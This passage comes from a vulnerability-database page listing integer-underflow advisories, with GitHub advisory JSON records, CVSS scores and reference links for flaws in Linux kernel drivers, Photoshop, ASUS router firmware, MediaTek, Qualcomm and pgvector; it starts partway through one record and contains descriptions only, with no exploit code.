    "nvd_published_at": "2024-12-05T23:15:04Z",
    "severity": "HIGH"
  },
  "details": "In store_upgrade and store_cmd of drivers/input/touchscreen/stm/ftm4_pdc.c, there are out of bound writes due to missing bounds checks or integer underflows. These could lead to escalation of privilege.",
  "id": "GHSA-6rp7-x538-xh3v",
  "modified": "2024-12-06T18:30:45Z",
  "published": "2024-12-06T00:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9388"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2018-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6VJ3-8X7G-GQRQ

Vulnerability from github – Published: 2024-11-12 18:30 – Updated: 2024-11-12 18:30
VLAI
Details

Photoshop Desktop versions 24.7.3, 25.11 and earlier are affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-49514"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-12T17:15:08Z",
    "severity": "HIGH"
  },
  "details": "Photoshop Desktop versions 24.7.3, 25.11 and earlier are affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
  "id": "GHSA-6vj3-8x7g-gqrq",
  "modified": "2024-11-12T18:30:57Z",
  "published": "2024-11-12T18:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49514"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/photoshop/apsb24-89.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6W6G-H475-CX55

Vulnerability from github – Published: 2025-07-04 15:31 – Updated: 2025-12-18 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

i40e: fix MMIO write access to an invalid page in i40e_clear_hw

When the device sends a specific input, an integer underflow can occur, leading to MMIO write access to an invalid page.

Prevent the integer underflow by changing the type of related variables.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-38200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-04T14:15:27Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: fix MMIO write access to an invalid page in i40e_clear_hw\n\nWhen the device sends a specific input, an integer underflow can occur, leading\nto MMIO write access to an invalid page.\n\nPrevent the integer underflow by changing the type of related variables.",
  "id": "GHSA-6w6g-h475-cx55",
  "modified": "2025-12-18T21:31:33Z",
  "published": "2025-07-04T15:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38200"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/015bac5daca978448f2671478c553ce1f300c21e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2a1f4f2e36442a9bdf771acf6ee86f3cf876e5ca"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3502dd42f178dae9d54696013386bb52b4f2e655"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5e75c9082987479e647c75ec8fdf18fa68263c42"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/872607632c658d3739e4e7889e4f3c419ae2c193"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8cde755f56163281ec2c46b4ae8b61f532758a6f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d88a1e8f024ba26e19350958fecbf771a9960352"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/fecb2fc3fc10c95724407cc45ea35af4a65cdde2"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00008.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-757G-2V32-2P5W

Vulnerability from github – Published: 2025-11-25 09:31 – Updated: 2025-11-25 09:31
VLAI
Details

An integer underflow vulnerability has been identified in Aicloud. An authenticated attacker may trigger this vulnerability by sending a crafted request, potentially impacting the availability of the device. Refer to the ' Security Update for ASUS Router Firmware' section on the ASUS Security Advisory for more information.

Severity
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-59368"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-25T08:15:52Z",
    "severity": "MODERATE"
  },
  "details": "An integer underflow vulnerability has been identified in Aicloud. An authenticated attacker may trigger this vulnerability by sending a crafted request, potentially impacting the availability of the device. \nRefer to the \u0027 Security Update for ASUS Router Firmware\u0027 section on the ASUS Security Advisory for more information.",
  "id": "GHSA-757g-2v32-2p5w",
  "modified": "2025-11-25T09:31:24Z",
  "published": "2025-11-25T09:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59368"
    },
    {
      "type": "WEB",
      "url": "https://www.asus.com/security-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-75HG-CMPQ-5F3X

Vulnerability from github – Published: 2023-03-07 21:30 – Updated: 2023-03-13 06:30
VLAI
Details

In keyinstall, there is a possible information disclosure due to an integer overflow. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07563028; Issue ID: ALPS07563028.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-20635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-07T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In keyinstall, there is a possible information disclosure due to an integer overflow. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07563028; Issue ID: ALPS07563028.",
  "id": "GHSA-75hg-cmpq-5f3x",
  "modified": "2023-03-13T06:30:26Z",
  "published": "2023-03-07T21:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20635"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/March-2023"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-77RQ-3336-8W4X

Vulnerability from github – Published: 2024-11-26 15:31 – Updated: 2024-11-26 15:31
VLAI
Details

An unsigned integer underflow vulnerability in IPA driver result into a buffer over-read while reading NAT entry using debugfs command 'cat /sys/kernel/debug/ipa/ip4_nat'

Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-5852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-126",
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-26T14:15:17Z",
    "severity": "HIGH"
  },
  "details": "An unsigned integer underflow vulnerability in IPA driver result into a buffer over-read while reading NAT entry using debugfs command \u0027cat /sys/kernel/debug/ipa/ip4_nat\u0027",
  "id": "GHSA-77rq-3336-8w4x",
  "modified": "2024-11-26T15:31:01Z",
  "published": "2024-11-26T15:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5852"
    },
    {
      "type": "WEB",
      "url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/may-2018-bulletin.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-789C-MGQF-5HWX

Vulnerability from github – Published: 2026-02-25 21:31 – Updated: 2026-02-25 21:31
VLAI
Details

Buffer overflow in parallel HNSW index build in pgvector 0.6.0 through 0.8.1 allows a database user to leak sensitive data from other relations or crash the database server.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-25T21:16:44Z",
    "severity": "HIGH"
  },
  "details": "Buffer overflow in parallel HNSW index build in pgvector 0.6.0 through 0.8.1 allows a database user to leak sensitive data from other relations or crash the database server.",
  "id": "GHSA-789c-mgqf-5hwx",
  "modified": "2026-02-25T21:31:19Z",
  "published": "2026-02-25T21:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3172"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pgvector/pgvector/issues/959"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-78XF-X743-MMC6

Vulnerability from github – Published: 2024-11-19 18:31 – Updated: 2025-11-04 00:32
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

media: s5p-jpeg: prevent buffer overflows

The current logic allows word to be less than 2. If this happens, there will be buffer overflows, as reported by smatch. Add extra checks to prevent it.

While here, remove an unused word = 0 assignment.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-53061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-19T18:15:25Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: s5p-jpeg: prevent buffer overflows\n\nThe current logic allows word to be less than 2. If this happens,\nthere will be buffer overflows, as reported by smatch. Add extra\nchecks to prevent it.\n\nWhile here, remove an unused word = 0 assignment.",
  "id": "GHSA-78xf-x743-mmc6",
  "modified": "2025-11-04T00:32:05Z",
  "published": "2024-11-19T18:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53061"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/14a22762c3daeac59a5a534e124acbb4d7a79b3a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/784bc785a453eb2f8433dd62075befdfa1b2d6fd"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a930cddfd153b5d4401df0c01effa14c831ff21e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c5f6fefcda8fac8f082b6c5bf416567f4e100c51"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c85db2d4432de4ff9d97006691ce2dcb5bda660e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c951a0859fdacf49a2298b5551a7e52b95ff6f51"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e5117f6e7adcf9fd7546cdd0edc9abe4474bc98b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f54e8e1e39dacccebcfb9a9a36f0552a0a97e2ef"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list